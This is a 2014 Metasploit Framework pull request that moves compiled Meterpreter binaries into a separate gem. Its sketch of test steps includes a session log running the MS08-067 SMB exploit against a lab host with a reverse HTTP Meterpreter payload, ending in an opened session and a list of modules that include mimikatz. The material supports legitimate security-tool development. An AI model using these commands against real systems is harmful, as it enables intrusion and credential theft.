rapid7/metasploit-framework — pull request #3466 by todb-r7 (2014-06-20 00:09:12+00:00)
Title: Switch to the Meterpreter bins gem

This PR switches Metasploit framework over to the [Meterpreter Bins gem](http://rubygems.org/gems/meterpreter_bins) and removes most (but not all) compiled Windows Meterpreter artifacts from the Framework repository. Please **do not land** this PR until I get some solid verification steps together. In the meantime, you're welcome to dream up some reasonable tests. I'll definitely want to have specs available as well.

Below is a very rough sketch of testing continued functionality. Note how the ext_sniffer DLL is *not* part of the gem, but instead is shipped in `data/meterpreter`. Yet, it is still able to be referred to using `MeterpreterBinaries.path()`. This is thanks to the fall-through logic in [MeterpreterBinaries.path()](https://github.com/rapid7/meterpreter_bins/blob/master/lib/meterpreter_bins.rb#L20), where the `data/meterpreter` directory is checked first, and then the gem directory.

I'm still a little worried about anti-virus eating the gemfile directory, so I suspect there needs to be some more clear error messaging in the event that Meterpreter binaries cannot be found at all.

### TODO:

- [ ] Write some verification steps
- [ ] Write some specs.
- [ ] Write some helpful error handling in the event no Meterpreter binaries can be found.

### What testing should look like

````
msf > irb
[*] Starting IRB shell...

>> MeterpreterBinaries.metasploit_data_dir
=> "/home/todb/git/rapid7/metasploit-framework/data/meterpreter"
>> MeterpreterBinaries.local_dir
=> "/home/todb/.rvm/gems/ruby-1.9.3-p547@metasploit-framework/gems/meterpreter_bins-0.0.6/lib/../meterpreter"
>> MeterpreterBinaries.path('ext_server_kiwi','x64.dll')
=> "/home/todb/.rvm/gems/ruby-1.9.3-p547@metasploit-framework/gems/meterpreter_bins-0.0.6/meterpreter/ext_server_kiwi.x64.dll"
>> MeterpreterBinaries.path('ext_server_sniffer','x64.dll')
=> "/home/todb/git/rapid7/metasploit-framework/data/meterpreter/ext_server_sniffer.x64.dll"
>>

[*] Processing /home/todb/rc/ms08-067.rc for ERB directives.
resource (/home/todb/rc/ms08-067.rc)> sleep 3
resource (/home/todb/rc/ms08-067.rc)> use exploit/windows/smb/ms08_067_netapi
resource (/home/todb/rc/ms08-067.rc)> set rhost 192.168.145.60
rhost => 192.168.145.60
resource (/home/todb/rc/ms08-067.rc)> set lhost 192.168.145.1
lhost => 192.168.145.1
resource (/home/todb/rc/ms08-067.rc)> set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf exploit(ms08_067_netapi) > exploit

[*] Started HTTP reverse handler on http://0.0.0.0:8080/
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] We could not detect the language pack, defaulting to English
[*] Selected Target: Windows 2003 SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] 192.168.145.60:1209 Request received for /4cMx...
[*] 192.168.145.60:1209 Staging connection for target /4cMx received...
[*] Patched user-agent at offset 663656...
[*] Patched transport at offset 663320...
[*] Patched URL at offset 663384...
[*] Patched Expiration Timeout at offset 664256...
[*] Patched Communication Timeout at offset 664260...
[*] Meterpreter session 1 opened (192.168.145.1:8080 -> 192.168.145.60:1209) at 2014-06-19 18:45:10 -0500
meterpreter > load -l
espia
extapi
incognito
kiwi
lanattacks
mimikatz
priv
sniffer
stdapi
````